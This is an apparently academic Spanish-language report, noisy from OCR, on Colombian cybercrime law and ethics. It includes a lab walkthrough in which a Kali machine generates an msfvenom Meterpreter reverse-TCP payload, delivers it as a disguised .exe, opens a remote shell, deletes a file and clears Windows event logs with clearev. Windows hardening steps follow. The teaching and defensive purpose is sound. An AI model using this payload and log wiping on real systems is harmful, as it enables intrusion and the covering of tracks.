En la primera clausula, puede estar incurriendo en el articulo 269F el cual
habla de la violacion de datos personales, donde se habla de la divulgacion
de datos y esto puede incurrir en penas de prision de 48 a 96 meses y una
multa de 100 a 1.000 SMLV.

En la segunda clausula en el item 2 se puede estar incurriendo en Acceso
abusivo a un sistema informético del articulo 269A, Interceptacion de datos
informaticos del articulo 269C. Estas infracciones pueden incurrir en
sanciones econémicas y penas carcelarias, el primer articulo indica que estas
pueden ser de 48 a 96 meses de prisidn y multas de 100 a 1.000 SMLV. Por
otro lado, el segundo articulo mencionado habla de 36 a 72 meses de prision.

En la cuarta clausula en el item 3 puede estar incurriendo en el articulo 269F
el cual habla de la violacion de datos personales, donde se habla de la
obtencion de datos y esto puede incurrir en penas de prision de 48 a 96
meses y una multa de 100 a 1.000 SMLV. En el item 6 de la presente clausula
también se encuentra relacionada con el articulo mencionado con
anterioridad.

En la octava clausula, puede estar incurriendo en el articulo 269F el cual
habla de la violacibn de datos personales, donde se habla del
aprovechamiento propio o de un tercero de datos y esto puede incurrir en
penas de prision de 48 a 96 meses y una multa de 100 a 1.000 SMLV.

3. El sueldo para los puestos de Red team y Blue team estan entre los $17.000.000
y los 22.000.000 respectivamente. ¢ Si usted llegara a encontrar procesos ilegales
en el acuerdo de confidencialidad usted aceptaria contrato y acuerdo de
confidencialidad de la organizacion HackerHouse, aun conociendo lo que podria
disponer COPNIA en su codigo de ética y sanciones en Colombia para profesionales
de ingenieria? Para justificar esta respuesta se recomienda que consulte
directamente en la pagina oficial de COPNIA para generar una respuesta coherente:
https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica
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Analizando la pregunta y teniendo en cuenta el codigo de ética profesional, no
aceptaria trabajar con la organizacién HackerHouse, debido a que si encuentro
procesos ilegales en el acuerdo confidencial estaria infringiendo en distintos
articulos los cuales se encuentran enfocados en deberes y prohibiciones como
profesional. Por lado, estaria arriesgando mi tarjeta profesional, siendo esta
suspendida o en un peor caso la cancelacion de esta.

Teniendo en cuenta lo anteriormente mencionado también estaria incurriendo en
distintas faltas relacionadas con la ley 1273 del 2009, por este tipo de situaciones
no aceptaria ningun tipo de acto ilegal relacionado con el acuerdo de
confidencialidad. EI monto econémico es muy atractivo, pero teniendo en cuenta
todos estos aspectos no seria ético y profesional aceptar los términos planteados.

4. Debera buscar alguna noticia de cibercrimen en Colombia y redactar su punto de
vista teniendo en cuenta las implicaciones legales y éticas que alli se pudieron
generar. Se solicita que mencione la ley y articulo el cual logre explicar los delitos
expuestos en la noticia que consulté.

Realizando un breve resumen de la noticia la cual fue publicada en diciembre del
2022, la cual tiene como titulo o encabezado: EMP, Sanitas y Afina continlan en
jaque por ataque cibernético contra sus sistemas.

Estas organizaciones las cuales pertenecen al mismo grupo empresarial fueron
atacadas de manera simultdnea donde logran expresar que sufrieron ataques a sus
sistemas por mas de 27 dias, los datos mas relevantes dentro de los inconvenientes
y falencias encontradas por el personal forense y legal el cual fue contratado para
solventar esta situacion, se encontro lo siguiente:

Control de las operaciones por parte de los ciberdelincuentes.

Afectaciones a sus infraestructura ( Data center).

Afectaciones de sus distintos aplicativos( pagos, citas, entre otros).

Robo y divulgacion de informacion, esto tanto de usuarios, colaboradores,
proveedores, entre otros.

Afectacion a servicios y aplicativos web

e Ataques de Ransoware BlackCat.

e Posible atacante fue el grupo conocido como RansomHouse.

Teniendo en cuenta lo mencionado con anterioridad se logra ver que estas
organizaciones fueron expuestas y atacadas de distintas formas. Por otro lado, los
ciberdelincuentes incurrieron en distintos delitos los cuales pueden incurrir en
distintas penas o multas a continuacion, se mencionara algunos de los articulos que
se pueden considerar para dictaminar las sanciones.
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e Articulo 269F: Violacidon de datos personales.

e Atrticulo 269G: Suplantacion de sitios web para capturar datos personales.

e Atrticulo 269E: Uso de software malicioso.

e Articulo 269C: Interceptacion de datos informaticos.

e Articulo 269A: Acceso abusivo a un sistema informético.

e Articulo 269B: Obstaculizaciéon ilegitima de sistema informatico o red de
telecomunicacion.

A continuacion, se presenta la construccion del informe con el cual se busca
entregar pautas y recomendaciones para garantizar la seguridad de la informacion,
procesos y servicios de organizaciones tecnolégicas frente a distintos ataques
intrusivos. Esto se hace con fin de poder generar conciencia en estas
organizaciones ya que son unas de las mas expuestas hoy en dia respecto al tema
de ataques intrusivos.

EJECUCION PRUEBAS DE INTRUSION
Metodologia.

El disefio metodoldgico se basa en un enfoque mixto el cual permite trabajar con
datos cuantitativos y cualitativos, por medio de ello nos permite analizar de mejor
manera cada uno de los objetivos propuestos para detectar, y saber qué fue lo que
causo la intrusion que fue relatada en cada uno de los anexos suministrados y a su
vez eliminar o mitigar este tipo de amenazas. Esto con ayuda del Red Team y Blue
Team.

Alcance.

Se busca por medio de esta metodologia tener un enfoque seguro y de calidad al
momento de realizarlas pruebas de intrusion relacionadas por el Red Team,
teniendo este enfoque se garantizara la normal operacion de los servicios y
procesos de la organizacion en cuestion.

Aspectos para tener en cuenta:

¢ Permite realizar analisis de seguridad en los sistemas a intervenir.

e Establece parametros para realizar evaluacion y monitoreo.

e Define proceso detallado para realizar pruebas de penetracion.

e Considera areas de alcance.

e Se dara de forma detallada las técnicas utilizadas para cada prueba.
e Presenta analisis y evaluacion de riesgos.
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o Establece valores y niveles de evaluacion de riesgos.
e Clasifica vulnerabilidades encontradas.
¢ Realiza estimado de impacto.

Disefio de ataques y pruebas de intrusion por parte del Red Team.

Es importante establecer para el disefio de los ataques y pruebas de intrusion el
paso a paso para su respectiva implementacion, esto garantizara la efectividad de
las pruebas, atagues. Esto con el fin de no afectar servicios, procesos de la
organizacion a la cual se le esta realizando la intervencion.

Ambiente controlado.

Antes de realizar cualquier tipo de prueba de intrusion de debe de tener en cuenta
para que se va a realizar y cual es su fin, es importante contar con un ambiente
controlado para realizar este tipo de pruebas las cuales son intrusivas y pueden
causar dafos a la organizacion a la cual se esta realzando este tipo de practicas.
Por otro lado, siembre sera importante garantizar la operatividad de los servicios de
la organizacion en todo momento.

VirtualBox: Este tipo de software permite virtualizar cualquier sistema operativo, por

medio de imagenes ISO, por medio de este podemos contar con distintas maquinas
corriendo al mismo tiempo solo utilizando un equipo fisico.
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Figura 19. VirtualBox 7.0.10.

VirtualBox

[Es

Interfaz Grafica de Usuario de VirtualBox
Versién 7.0.10 r158379 (Qt5.15.2)
Copyright © 2023 Oracle and/or its affiiates.

Cerrar

Fuente: Propia.

Teniendo en funcionamiento el ambiente controlado o virtualizador, es importante
saber qué tipo de pruebas de intrusion se van a realizar esto debido a que existen
varias opciones, en este caso especifico se realizara el uso de la siguiente:

Caja blanca: Este tipo auditoria es aquella donde el auditor conoce todos los
aspectos de la organizacion: infraestructura, contrasefias, IPs, entre otros. Se
realiza un analisis de forma integral. Teniendo en cuenta esta informacion el auditor
puede realizar pruebas enfocadas y de forma certera donde podra encontrar de
forma directa la vulnerabilidad. Este tipo de intrusion es utilizado ya que lo realiza el
personal del Red Team de la organizacion.

Procedimiento pruebas de intrusion.

Este procedimiento consiste en la practica de vulnerar cualquier sistema, en este
caso especifico la afectacion, acceso o sustraccion de informacion a la maquina de
la victima. Se dispone de las siguientes fases las cuales permitiran realizar la
ejecucion de estas pruebas de la mejor manera por parte del Red Team.

Fase 1 Recoleccion de informacion: Esta fase inicial consiste en la recoleccion
de la informacion relacionada con la organizacién, esto puedo incluir cualquier tipo
de informacion relacionada con cualquier departamento de la organizacion, esta
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informacion se puede encontrar tanto en buscadores de internet o aplicando
cualquier tipo de practica relacionada con ingenieria social como una de las mas
efectivas.

Fase 2 Modelos de amenazas: Teniendo en cuenta la informacion recolectada
anteriormente, nos depondremos a pensar como un atacante, métodos y estrategias
gue pueda utilizar para realizar pruebas de intrusion.

Fase 3 Analisis y explotacion de vulnerabilidades: En esta fase se hace uso de
herramientas de deteccién de vulnerabilidades enfocadas en toda la informacion
recolectada con anterioridad por otro lado tomando en cuenta las estrategias y
métodos planteados con anterioridad, esta fase permite contar con la creatividad
del pentester. Por otro lado, se busca tener acceso a los sistemas, equipos,
servidores. Para ello se ejecutan los exploit contra las vulnerabilidades encontradas
con anterioridad, obteniendo acceso al sistema se buscara por medio de
credenciales ganar acceso a aplicativos, equipos y servidores.

Fase 4 Post-Explotacion: Teniendo el acceso como tal al sistema, lo que se va a
realizar ahora es buscar el mayor acceso posible dentro del sistema, permitiéndonos
llegar a informacion critica y servicios, procesos de la organizacion los cuales sean
de gran importancia para esta.

Fase 5 Presentacion informes: Por ultimo, se le entregara a la organizacion y a
los entes involucrados un informe donde se vera consignando las pruebas que se
realizaron, vulnerabilidades encontradas y recomendaciones donde se busca
mitigar y eliminar estas vulnerabilidades. Por otro lado, se entregard un informe
técnico respecto al pentesting.*

Caso de estudio.

Teniendo en cuenta el anexo 4 — escenario 3. En resumen, en la organizacion
HackerHouse encontré que un equipo de su propiedad fue vulnerado de alguna
manera, esto es confirmado con el personal que hace uso de este equipo, donde
expresa que en el escritorio del dispositivo tenia un archivo con extension txt el cual
contenia datos relevantes como lo son: nombre del estudian, codigo, fecha y
actividad. De igual forma este trabajador expresa que también habia recibo un
archivo por medio de WhatsApp con la extension exe, el descarga el archivo y
procese a ejecutarlo.

1 GUIA DE ataques, vulnerabilidades, técnicas y herramientas para aplicaciones web [An6nimo].
Redalyc.org [pagina web]. (2022). [Consultado el 1, diciembre, 2022]. Disponible en Internet:
<https://www.redalyc.org/articulo.0a?id=512251501005>.

35


https://www.redalyc.org/articulo.oa?id=512251501005

Paso 1: Acondicionamiento del escenario.

En este paso en el software de virtualizacion VirtualBox, se realiza la instalacion de
la maquina victima de SO Windows 10, la maquina del Red Team sera Kali Linux.

Teniendo en cuenta las herramientas de tipo software utilizas por el Red Team para
realizar pruebas de intrusién dentro de un sistema a continuacién, se presenta una
de las herramientas mas eficientes al momento de realizar este tipo de pruebas:

Para las pruebas de intrusion se hace uso de Kali Linux es un sistema operativo de
codigo abierto utilizando para realizar pruebas de intrusion, en este podra encontrar
distintos exploits y herramientas las cuales permitirdn al Red Team realizar todo tipo
de tarea relacionado con pruebas de intrusion. Por otro lado, permite recolectar
informacion, analizar vulnerabilidades, analizar aplicaciones web, valoracion de
datos, ataques de contrasefias, analisis forense, ingenieria social, entre otros.

Figura 20. Kali Linux.

Archivo Mdquina Ver Entrada Dispositivos Ayuda

S mE PO 2 3 4| O & A @ 225

| KALI |

BO¥ T & WO ¥ @ K crreperecia
Fuente: Propia.
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Figura 21. Windows 10.

" - - 41
= 0 escribe squf para buscar: H @ » = AEB@w u 8

Fuente: Propia.

Paso 2: Verificaciéon de comunicacion.

Ya teniendo el escenario organizado, se dispone a verificar la comunicacion entre
las dos maquinas, ya que por medio de lo descrito en el anexo anteriormente
comentado se indica que el Payload o archivo que descarga la victima fue enviado
por un compafiero. Esto es un indicador que la conexion entre las dos maquinas fue
en la misma red.

Figura 22. IP Windows 10.

Desktop Adapter #2

Fuente: Propia.
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Figura 23. IP Kali Linux.

ethl: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.4.4 netmask 255.255.255.@0 broadcast 10.0.4.255
inet6 fe80::a00:27ff:feb8:60f9 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:b8:60:f9 txqueuelen 1000 (Ethernet)

RX packets 45 bytes 9730 (9.5 KiB)

RX errors ©@ dropped @ overruns @ frame 0

TX packets 91 bytes 15388 (15.0 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions 0

Fuente: Propia.

Figura 24. Ping desde Kali Linux a Windows 10.

10.0.4.5
PING 10.0.4.5 (10.0.4.5) 56(84) bytes of data.
bytes from .4.5: icmp_seqg=1 ttl=128 time=1.79 ms
bytes from icmp_seg=2 ttl=128 time=0.939 ms
bytes from : icmp_seq=3 ttl=128 time=1.20 ms
bytes from : icmp_seqg=4 ttl=128 time=1.00 ms
bytes from : icmp_seq=5 ttl=128 time=1.05 ms
bytes from : icmp_seqg=6 ttl=128 time=1.05 ms
bytes from : icmp_seqg=7 ttl=128 time=0.871 ms
bytes from : icmp_seq=8 ttl=128 time=1.09 ms
bytes from : icmp_seq=9 ttl=128 time=0.809 ms
bytes from : icmp_seq=10 ttl=128 time=0.896 ms

[ R S I R

4,
4.
4.
4.
4.
4.
4.
4.

— 10.0.4.5 ping statistics —
10 packets transmitted, 10 received, 0% packet loss, time 9009ms
rtt min/avg/max/mdev = ©.809/1.070/1.793/0.264 ms

Fuente: Propia.
Con el comando ping mas la direccién IP de la maquina de la victima se esta
verificado que alla comunicacion hacia esta.

Paso 3: Andlisis de puertos con nmap.

El uso de nmap este tipo de herramienta permitié analizar que puertos y que tipo de
servicios estan corriendo dentro de la maquina victima. Con el comando nmap -p-
10.0.4.5 lo que se quiere es que haga un escaneo de todos los puertos abiertos.
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Figura 25. Escaneo puertos maquina victima.

/home/kali
@. ¢ .

09-10 12:44 -85

).
d tcp ports (no-response)

netbios-ssn
micr

open
open
open unknown
open unknown
open unknown

Address: 0! 2D:68:F8 (Oracle VirtualBox virtual NIC)

Fuente: Propia.

Con el siguiente comando nmap -p 443 10.0.4.5 lo que se quiere hacer es que haga
un escaneo especifico en el puerto 443, el cual es que se va a utilizar para ingresar
a la maquina de la victima.

Figura 26. Escaneo puerto 443 maquina victima.

/home/kali
443 10.0.4.5
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-10 12:50 -05
Nmap scan report for 10.0.4.5
Host is up (0.00038s latency).

PORT STATE SERVICE
443/tcp filtered https
MAC Address: 08:00:27:2D:68:F8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds

Fuente: Propia.

Paso 4: Andlisis de vulnerabilidades con Nessus.

Por otro lado, con ayuda de una herramienta de escaneo del vulnerabilidades se
validara que tipo de vulnerabilidades puede tener la maquina de la victima, en este
caso se hara uso de Nessus.

39



Figura 27. Nessus.

Otenable

Nessus

Initializing
Please wait while Nessus is initializing.

Downloading plugins...

Fuente: Propia.

Figura 28. Creacion Escaneo.

ADVANCED

Fuente: Propia.

Ya teniendo Nessus instalado en nuestra maquina Kali Linux, se dispone a crear un
escaneo esto con el fin de verificar que vulnerabilidades pueden estar afectando a
la maquina victima.

Al termina el escaneo se logra evidenciar que hay un inconveniente con el servidor

SMB de forma remota, este indica que hay la probabilidad que un atacante se pueda
conectar de forma remota y realice ataques al mismo.
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Figura 29. Vulnerabilidad mas relevante.

SMB Signing not required

Description

Signi & requir 5 An unauthenticated, remote attacker can exploit this to conduct
man-in-the-middle ¢

Solution
ound in the p

Fuente: Propia.

Fuente: Propia.
Otros hallazgos:

e El dispositivo admite conexiones remotas.
e Por medio del puerto tcp 135 esté permitiendo realizar conexiones remotas.

e Se logro obtener datos del sistema operativo por medio de los puertos
139,443,445.

e Se evidencia falencia en las firma de SMB para conexiones remotas.

Paso 5: Creacion Payload.

Se debe de tener en cuenta que en la maquina de la victima el estado del firewall
debe estar inactivo para el desarrollo del ataque que se va a llevar a cabo.

Figura 30. Estado firewall maquina victima.

er>netsh advfirewall show allprofile

de Perfil de dominio:

Fuente: Propia.

Después de validar la informacion anterior, se procede a crear el Payload por medio
de la herramienta Msfvenom, esto se realiza desde la maquina del atacante en este

41



caso utilizando Kali Linux, importante activar el super usuario esto se hace haciendo
uso del comando sudo su.

Figura 31. Creacion Payload.

/home/kali
windows/x64/meterpreter/reverse_tcp tform windows x64

lhost=10.0.4.4 lport=443 -f exe /Carpeta personal/Documentos/Poc_10524098
49 .exe

No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes

Fuente: Propia.

Figura 32. Ubicacién Payload.

- kali - Thunar
Archivo Editar Ver Ir Marcadores Ayuda
4+ A « Ackal

Lugares

B Equipo A (S
B kali
— Descargas Documentos Escritorio
Escritorio

ecientes

®
' Papelera H ﬂ a

@ Documentos

Imagenes Mdsica Plantillas

& Descargas Publico Videos PoC_1052409849.
Dispositives exe
_E Sistema de arch...

Red

Musica

Fuente: Propia.

Paso 6: Interaccion usuario con el Payload.

A continuacioén, se observa como fue la interaccion de la victima con el archivo .exe
o el llamado Payload.
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Figura 33. Escritorio maquina victima, antes del ataque.

r
Windows 10 [Corriendo] - Oracle VM Virtu

Archivo Maquina Ver Entrada Dispositivos

archivo

Fuente: Propia.

En la siguiente figura, se puede evidencia como se realiza el proceso de descarga
del archivo PoC_1052409849.exe.

Figura 34. Descarga del archivo exe.

BoA Y m o e L o L

. Descargas P Qe s

A Poc_1052400849.exe no se descarga habitualmente. 4
| Asegurese de que confia en Poc_1052409840.exe antes d... r
| J

Fuente: Propia.
Al momento de realizar la descarga, Windows pregunta que, si desea realizar La

descarga, el trabajador hace caso omiso a esta advertencia debido a que el archivo
gue le suministraron procede de un compariero de labor.
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Figura 35.Advertencia de descarga.

A\ Asegurese de que confia en
Poc_1052409849.exe antes
de abrirlo

SmartScreen de Microsoft Defender no se
ha podido comprobar si este archivo es
seguro porgue no se descarga
habitualmente. Aseglrese de que confia
en el archivo que esta descargando o en
su origen antes d%abriﬂo.

Nombre: Poc_1052409849.exe
Editor: Desconocido

Mostrar mas ~

Fuente: Propia.

Figura 36. Archivo .exe en la maquina victima.

Windows 10 [Corriendo] - Oracle VM VirtualBox

Maquina Ver Entrada Dispositivos Ayuda

Fuente: Propia.
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Paso 7: Ejecucion del Payload.

A continuacion, se procede a realizar la ejecucion del Payload que se cred
previamente, lo primero que se realiza es ingresar a la consola de Msfvenom, esto
haciendo uso del comando msfconsole.

Ya adentro de la consola, se indica el tipo de payload que se quiere utilizar que en
este caso es el de meterpreter/reverse_tcp este exploit se utiliza para tener acceso
remoto a la maquina de la victima, esto con el fin de sustraer, modificar o eliminar
informacion. Con el comando set Ihost y Iport le estamos indicando que nos deje
conectar por el puerto 443 y que la comunicacion sea a la IP del atacante.

Figura 37. Ejecucién Payload.

root@kali: fhomefkali

Fuente: Propia.

Con el comando sysinfo, lo que se logra ver es toda la informacion que tiene el
sistema operativo como lo es: arquitectura, nombre del equipo, SO y su respectivo
dominio.
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Figura 38. Comando sysinfo.

meterpreter > sy

(190.0 Build 19@45).

vindows

rsywbe wnloads

Name
4 P9B4LY . exe

desktop.ini

Fuente: Propia.

Ya teniendo acceso a la maquina de la victima, lo que se dispone a realizar es
ingresar y borrar la informacion en este caso el archivo.txt que se encuentra en el
escritorio, esto se realizara haciendo uso del siguiente comando Shell este comando
permite ingresar a la terminal de comandos de la maquina que se esta atacando.

Figura 39. Comando Shell.

shell
C ted.

[Versien 10.0.1904
c) Microsoft Corporation. Todos los d os reservados.

C:\Users\vboxuser\Downloads>[]

Fuente: Propia.

En este paso se ingresé al escritorio y se ubicé el archivo.txt el cual se quiere
eliminar, esto se realiza haciendo uso del comando del y el nombre del archivo.

Figura 40. Ubicacion archivo .txt
vboxuser>cd Desktop
P

ershwhoxuser\Desktop>dir

L volumen de la uwnidad C no tiene
L nemero de ie del es:

Fuente: Propia.
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Figura 41. Comando del.

Figura 42. Escritorio maquina victima, después del ataque.

| @8 Windows 10 [Corriendo] - Oracle VM VirtualBox - o

Archivo Méquina Ver Entrada Disposiivos Ayuda

Fuente: Propia.

Después con el comando clearev, se busca eliminar los log de eventos de Windows,
esto con el fin de no dejar huella del ataque.

Figura 43. Comando Clearev.

is denied.

Fuente: Propia.
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CONTENCION DE ATAQUES INFORMATICOS

Aseguramiento, recomendaciones para la mejora de la seguridad de la
informacion.

A continuacién, se presenta la construccion del informe con el cual se busca
entregar pautas y recomendaciones para garantizar la seguridad de la informacion,
procesos y servicios de organizaciones tecnoldgicas frente a distintos ataques
intrusivos. Esto se hace con fin de poder generar conciencia en estas
organizaciones ya que son unas de las mas expuestas hoy en dia respecto al tema
de ataques intrusivos.

Vision general.

La vision general seria nuestro primer paso para realizar la entrega del informe, esto
nos permite ver en que postura se encuentra la organizacion en el aspecto de
ciberseguridad. Teniendo esto en claro, se analizara cada componente, proceso o
plan que esté relacionado con este tema, a continuacion, se indicara que aspectos
son relevantes para tener un analisis concreto y efectivo:

e Activos de la organizacion.
¢ Vulnerabilidades.

e Amenazas.

¢ Procedimientos.

Esto nos ayuda a diligenciar el siguiente formato el cual permitirda realizar un
checklist y asi poder evaluar la situacion de la organizacion.
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Figura 44. Checklist.

LOGOTIPO

GESTION TI, SEGURIDAD DE LA INFROMACION.
Check List para actividades.

1. GENERALIDADES

Fecha: Hora Inicio: |Hora Terminacién:
Centro de Trabajo: N° OT/Aviso:
Area de Trabajo / Equipo a Intervenir:
Herramienta / Equipo a Usar:
Personal Autorizado para Trabajar en el Area:
Descripcion Trabajo a Realizar:
Evaluacion Matriz de riesgos: MA [ \ A \ | M | \ B \ | MB D
Existen otros permisos de trabajo abiertos? Si l:l NO C]
Al
Cuéales?
2. VERIFICACION ACTIVOS
ESTADO ESTADO
VERIFICACION B M N/A VERIFICACION B M N/A
Servidor Web Planta IP
Servidor DNS Teléfono
Servidor de Correo Computador
Directorio Activo CCtv
Firewall Office 365
Router Principal Antivirus
Router Inalambrico Otros:
VALORACION RIESGO VALORACION RIESGO
AMENAZAS MA A M B MB VULNERABILIDADES MA A M B MB
CONTESTE LAS SIGUIENTES PREGUNTAS S NO N/A
Se debe de pedir ventana de mantenimiento para intervenir algdn equipo ?
Se debe de realizar copias de seguridad al equipo a intervenir ?
Se realiza actualizacién de software en el equipo a intervenir ?
Se realiza algln tipo de cambio fisico respecto a los equipos ?

En caso que se requiera diligencie los siguientes recuadros:

RECOMENDACIONES:

OBSERVACIONES ESPECIALES:

FUNCIONARIO RESPONSABLE DEL TRABAJO

NOMBRE Y APELLIDOS:

FIRMA:

Evaluacion de riesgos.

Fuente: Propia.

Con la evaluacion de riesgos se busca identificar el nivel de impacto y criticidad que
pueda afectar a cualquier proceso, activo, informacion. Esto con el fin de garantizar
la integridad, disponibilidad de estos. Por otro lado, la evaluacién de riesgos nos
permite tener en claridad en que se podria estar fallando y asi mismo poder entregar
pautas y recomendaciones para mitigar o eliminar estos riesgos.
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Identificacion de activos.

Para determinar la evaluacion de riesgos es necesario saber con qué activos cuenta
la organizacion y a partir de ahi identificar riegos, amenazas y vulnerabilidades las
cuales puedan comprometer la seguridad de la informacion de la organizacion. En
la siguiente tabla se presenta algunos de los activos mas comunes.

En la siguiente tabla se podrd establecer algunas de las amenazas y
vulnerabilidades a las cuales se encuentran expuestos cada uno de los activos de
la organizacion, estos activos pueden variar debido a que todas las organizaciones
no cuentan con los mismos activos, esta tabla es algo generalizada.

Tabla 1. Identificacion de activos.

Activo Tipo Encargado Amenazas | Vulnerabilidades
Servidor Web | Software Especialista Ataques de Puede ser
en inyeccion vulnerable debido
ciberseguridad | SQL. a muchas veces

la administracion
Programacion | por terceros.
Cross-Site (0

XSS). Fuga de
informacion.

Ataques de

fuerza bruta. | Desconexiones
frecuentes.

Ataques

DoS/DDosS. Problemas en
aplicativos.

Office 365 Software Técnico Cadigo Vulnerabilidades
segundo nivel | abierto. XSS.

Suplantacion | Problemas de
de identidad. | autenticacion.

Acceso no Fuga de la
autorizado. informacion.
Firewall Hardware | Especialista Acceso no No puede
en autorizado. proteger a la red
ciberseguridad de ataques cuyo

Suplantacion | trafico no pase
de identidad. | por este.
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Ataques de
fuerza bruta.

No puede
proteger de
ataques internos.

Servidores Hardware | Especialista Rodo de los Fuga de la
fisicos en equipos. informacion.
ciberseguridad
Acceso no Modificacion de
autorizado. informacion.
Dafios fisicos.
Antivirus Software Técnico de Malware. Inestabilidad.
primer nivel
Acceso no Problemas de
autorizado. software.
Control de Hardware | Técnico de Acceso no Falla en el
acceso y Software | primer nivel autorizado. sistema de
control del CCTV.
Atagues
relacionados | Fuga de la
con informacion.
ingenieria
social. Dafos fisicos.
Especialista Personal Director TI Ataques Fuga de la
en relacionados | informacion.
ciberseguridad con
ingenieria Personal no
social. disponible.
Acceso no
autorizado.
Suplantacion
de identidad.
Técnico de Personal Director TI Ataques Fuga de la
segundo nivel relacionados | informacion.
con
ingenieria Personal no
social. disponible.
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Suplantacion
de identidad.
Técnico de Personal Director TI Ataques Fuga de la
primer nivel relacionados | informacion.
con
ingenieria Personal no
social. disponible.
Suplantacion
de identidad.
Data Center Locativo Técnico de Acceso no Fuga de la
segundo nivel | autorizado. informacion.
Desastres Dafios fisicos.
locativos.
Robo de
equipos.

Fuente: Propia.

Aseguramiento maquina victima.

Teniendo en cuenta las pruebas de intrusion realizadas por el Red Team y los
hallazgos encontrados, se plantean estrategias para el aseguramiento de la red,
infraestructura, activos, informacion, entre otros. Para lograr esto el Blue Team hara
uso de una guia hardening.

Paso 1: Activar firewall de Windows.

52



Figura 45. Firewall desactivado.

@ Firewall de Windows Defender - O X
4 @ « Siste.. > Firewall de Window... v o o

Ventans principal del Panel de Ayudar a proteger el equipo con Firewall de Windows Defender

control Firewall de Windows Defg=der puede ayudar 2 impedir que pirates informdtices o software

malintencionado obteng8h acceso al equipo a través de Internet o una red.
Permitir que una aplicacién o
una caracteristica a través de

Firewall de Windows Defender Actualizar configuracién de firewall
' Cambiar | configuracion de Firewall de Windows Defender no ests usando W Usa I cornfigiiacienrecomendada

notificaciones Ia configuracién recomendada para proteger
& Activar o desactivar el Firewall el equipo.

de Windows Defender ;Cudl es la configuracion recomendada?
G Restaurar valores

predeterminados .

. l g Redes privadas No conectado |

) Configuracion avanzada

Selucién de problemas de red . 9 Redes pablicas o invitadas Conectado |

Redles en lugares pblicos como aeropuertos o cafeterias

Estado de Firewall de Windows Defender: Activado

Conexiones entrantes: Permitir que todas las conexiones sin una
excepeion blogueen la conexién

Redes piblicas activas: = Red2
Vea también T Redd
Seguridad y mantenimiento Estado de netificacion: Notificarme cuando Firewall de Windows

Centro de redes y recursos Defender bloquee una nueva aplicacion

compartidos

Fuente: Propia.

Se bloguea las conexiones entrantes en cada uno de los perfiles, esto con el fin de
evitar conexiones no autorizadas al host.

Figura 46. Configuracion de perfiles firewall.

Archive  Accién  Ver  Ayuda
@

AT E R EEL SRR Windows Defender Firewall con sequridad avanzada en Equipo local Acciones

B Reglas de entrada ~ | Windows Defender Firewall... &

Reglas de salida
E‘E Regles de seguridad de con Windows D Propiedades: Windows Defender Firewall con seguridad avanzada ... x Windows &

B Supervisién

Importar directiva...

45] Exportar directiva...

Perfil de dominio  Pegfil privado  Perfil piblico  Configuracién IPsec

Informacién gen R . ) . - Restaurar directiva pre...

ique el comportamiento cuande un equipa esta conectado a
Perfil de dol una ubicacién de redes publicas. Diagnosticar / Reparar
@ Frewallde
© is Estado Ver '
= Las conexio Estado del firewall: Activo frecomendado) v G| Actualizar
@ Conexiones

Canexiones entrartes: | Bloquear (predetemminado) [E] Propiedades
Perfil privad
e p Conexiones salientes: | Pemit (predet ) v Ayuda
@ Frewall de
O Las conesig Conexiones de red protegidas: Personalizar...
@ Conexionss Configuracién
3 Especfique |a configuracién que :
El perfil pab conirolan el compertamiento de Frewall | Personalizar.
- de Windows Defender
& Frewall de
Q Lzs conexio Inicio de sesién
@ Conexiones Especifiqus |a corfiguracién de registto | pgreon o
.| para resolucién de problemas

[EJ Propiedades
Introduccion -

Autenticar ¢

Cree reglas de set T Cancelar folesr | plas conesiones

ertre squipos por,

Fuente: Propia.
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Paso 2: Activar antivirus de Windows o instalar uno con licencia.

Figura 47. Antivirus activado.

Seguridad de Windows - o X

Configuracién de antivirus y

= Hey
proteccion contra amenazas

G Ver y actualizar la configuracién de Proteccién contra virus y amenazas de

Antivirus de Microsoft Defender.
|o

A y :
Proteccion en tiempo real

) Buscar e e impide que se instale o ejecute en tu dispositivo. Puedes
des pcién durante un breve periodo de tiempo antes de que

= se vuelva a activar automaticamente.

= Q Activado

@

h Proteccion basada en la nube

Proporciona una proteccién mayor y mas rapida con acceso a los datos
mas recientes de proteccidn en la nube. Funciona mejor cuando el envio
automdtico de muestras esta activado.

Q Activado

Fuente: Propia.

En este caso el antivirus de Windows permite dar avisos de software malicioso que
se instala o es descargado dentro del sistema operativo, esto con el fin de dar aviso
de esta actividad sospechosa.

Paso 3: Restringir el acceso remoto.
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Figura 48. Acceso remoto activo.

Propiedades del sistema X
Mombre de equipe Hardware
Opciones avanzadas Proteccidn del sistema Accesa remota

. Seleccione la forma en la que se puede usar este equipo desde
¢ ofra ubicacion.
)

Asistencia remota
Permitir conexiones de Asistencia remota a este equipo

£0ué sucede si se habilta Asistencia remota?

Opciones avanzadas.

Aceptar Cancelar Aplicar

Fuente: Propia.

Como se puede observar en la figura anterior la asistencia remota se encuentra
activa, ahora lo que se procede es a deshabilitar.

Figura 49. Acceso remoto desactivado.

Propiedades del sistema *
Mombre de equipo Hardware
Opciones avanzadas Proteccion del sistema Acceso remoto

. L\\?eleccione la forma en la que se puede usar este equito desde
¢ otra ubicacidn.
)

Asistencia remota

[ Pemitir conexiones de Asistencia remota a este equipo

£Qué sucede si se habilita Asistencia remaota?

Opciones avanzadas...

Aceptar Cancelar Aplicar

Fuente: Propia.
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Paso 4: Tener activas las actualizaciones de Windows.

Figura 50. Windows Update.

Windows Update
Actualizaciones disponibles
Ultima comprobacién: hay, 7:17 PM

2023-09 Actualizacion acumulativa para .NET Framework 3.5, 4.8 y 4.8.1 para Windows 10 Version 22H2
para x64 (KB5030130)
Estado: Instalacion pendiente

2023-09 Actualizacion acumulativa para Windows 10 Version 22H2 para sistemas basados en x64
(KB5030211)

Estado: Instalacion pendiente
Instalar ahora
@ Pausar las actualizaciones durante 7 dias
Ve 3 Opciones avanzadas para cambiar el periodo de pausa

D, Cambiar horas activas
& ¢

Actualmente de 8:00 AM a 5:00 PM

® Ver historial de actualizaciones

Ver las actualizaciones instaladas en el dispositivo

/7y QOpciones avanzadas
L

Configuracién y controles de actualizacion adicionales

Fuente: Propia.

Es importante siempre tener actualizado el sistema operativo ya que en muchas de
estas actualizaciones traen parches de seguridad los cuales permitiran proteger al
equipo.
